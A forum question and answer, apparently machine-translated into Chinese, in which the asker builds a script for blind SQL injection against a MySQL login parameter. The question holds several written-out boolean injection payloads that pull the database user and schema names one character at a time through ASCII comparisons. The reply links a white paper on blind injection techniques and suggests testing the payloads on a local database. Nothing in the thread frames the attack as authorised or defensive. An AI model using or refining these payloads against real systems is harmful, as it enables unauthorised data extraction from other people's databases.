我正在开发一个脚本,以对MySQL数据库执行SLQInjection攻击。该脚本已获取用户名和主机名。但是,我不知道如何获取表的值。
让我们举个例子。我想用这句话在MySQL中获取模式:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
我一直在进行的攻击是这样的:
usuario=admin' AND $ascii_value<ASCII(substring(user(),$i,1)) and '1'='1
通过这种方式,我在用户名上运行以获取其ASCII值。显然,如果我尝试将两个表达式组合在一起:
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),$i,1)) and '1'='1
我什么都没有。好吧,也许有两种模式,所以至少让我们得到第一个。
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME DESC LIMIT 0,1),$i,1)) and '1'='1
它不再起作用。例如,如何在盲目的直射式攻击中提取模式名称?
谢谢!
答案 0 :(得分:0)
查看我的SQL Injection Anywhere白皮书,该白皮书将显示不同的二进制盲SQL注入技术,该技术不是基于WHERE子句,而是基于SQL查询的其他部分: http://www.quotium.com/content/uploads/2005/01/SQL-Injection-Anywhere-White-Paper.pdf
此外,如果遇到类似您提到的问题,我将构建一个MySQL DB,用数据填充它并尝试执行有效负载。显然,这可能是语法错误,也很可能是业务逻辑短路错误。
祝你好运